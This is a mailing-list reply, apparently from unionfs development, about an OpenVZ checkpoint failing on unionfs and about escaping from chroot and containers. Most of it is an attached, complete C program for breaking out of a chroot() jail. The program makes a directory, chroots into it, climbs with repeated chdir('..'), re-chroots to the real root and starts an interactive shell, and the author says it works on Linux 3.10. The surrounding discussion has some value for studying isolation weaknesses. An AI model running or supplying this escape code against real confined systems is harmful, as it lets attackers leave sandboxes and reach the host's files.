> Then how does the "openvz checkpoint/restore" get the opened file?
This is the kernel part of the checkpoint/restore which saves/resores an application open descriptors. I just checked a openvz 2.6.18 with unionfs v1.4 The same problem while a message is differ: Setting up checkpoint... suspend... dump... Can not dump container: Invalid argument Error: d_path err=-22 Checkpointing failed My appologies, sorry. Currently a kernel versions of union fs are no more then a complex version of the "mount -o bind". which perform the same. This is my conclusion after more reading about eacaping from container. You can tottaly ingnore my message. PS: Attached program can escape from a chroot even with a linux kernel v3.10 But don't work on FreeBSD quite long ago. A program can not escape from a openvz container which may be considered as chroot on steroids. A current linux versions of union fs are still not a "mount -o bind" on steroids: "It has to do with the actual (dentry,vfsmount) in kernel-space." http://www.bpfh.net/simes/computing/chroot-break.html http://s3hh.wordpress.com/2011/05/31/escaping-chroots/ PPS: I was checked a current version of unionfs (2.5.13) and don't found a kernel version on which it perform w/o crash (2.6.9, 2.6.18, 2.5.32). Thanks for a aufs :-)
#include <stdio.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> /* ** You should set NEED_FCHDIR to 1 if the chroot() on your ** system changes the working directory of the calling ** process to the same directory as the process was chroot()ed ** to. ** ** It is known that you do not need to set this value if you ** running on Solaris 2.7 and below. ** */ //#define NEED_FCHDIR 0 #define NEED_FCHDIR 1 #define TEMP_DIR "waterbuffalo" /* Break out of a chroot() environment in C */ int main() { int x; /* Used to move up a directory tree */ int done=0; /* Are we done yet ? */ #ifdef NEED_FCHDIR int dir_fd; /* File descriptor to directory */ #endif struct stat sbuf; /* The stat() buffer */ /* ** First we create the temporary directory if it doesn't exist */ if (stat(TEMP_DIR,&sbuf)<0) { if (errno==ENOENT) { if (mkdir(TEMP_DIR,0755)<0) { fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, strerror(errno)); exit(1); } } else { fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, strerror(errno)); exit(1); } } else if (!S_ISDIR(sbuf.st_mode)) { fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); exit(1); } #ifdef NEED_FCHDIR /* ** Now we open the current working directory ** ** Note: Only required if chroot() changes the calling program's ** working directory to the directory given to chroot(). ** */ if ((dir_fd=open(".",O_RDONLY))<0) { fprintf(stderr,"Failed to open . for reading - %s\n", strerror(errno)); exit(1); } #endif /* ** Next we chroot() to the temporary directory */ if (chroot(TEMP_DIR)<0) { fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, strerror(errno)); exit(1); } #ifdef NEED_FCHDIR /* ** Partially break out of the chroot by doing an fchdir() ** ** This only partially breaks out of the chroot() since whilst ** our current working directory is outside of the chroot() jail, ** our root directory is still within it. Thus anything which refers ** to "/" will refer to files under the chroot() point. ** ** Note: Only required if chroot() changes the calling program's ** working directory to the directory given to chroot(). ** */ if (fchdir(dir_fd)<0) { fprintf(stderr,"Failed to fchdir - %s\n", strerror(errno)); exit(1); } close(dir_fd); #endif /* ** Completely break out of the chroot by recursing up the directory ** tree and doing a chroot to the current working directory (which will ** be the real "/" at that point). We just do a chdir("..") lots of ** times (1024 times for luck :). If we hit the real root directory before ** we have finished the loop below it doesn't matter as .. in the root ** directory is the same as . in the root. ** ** We do the final break out by doing a chroot(".") which sets the root ** directory to the current working directory - at this point the real ** root directory. */ for(x=0;x<1024;x++) { chdir(".."); } chroot("."); /* ** We're finally out - so exec a shell in interactive mode */ if (execl("/bin/sh","-i",NULL)<0) { fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); exit(1); } }
------------------------------------------------------------------------------ Want fast and easy access to all the code in your enterprise? Index and search up to 200,000 lines of code with a free copy of Black Duck Code Sight - the same software that powers the world's largest code search on Ohloh, the Black Duck Open Hub! Try it now. http://p.sf.net/sfu/bds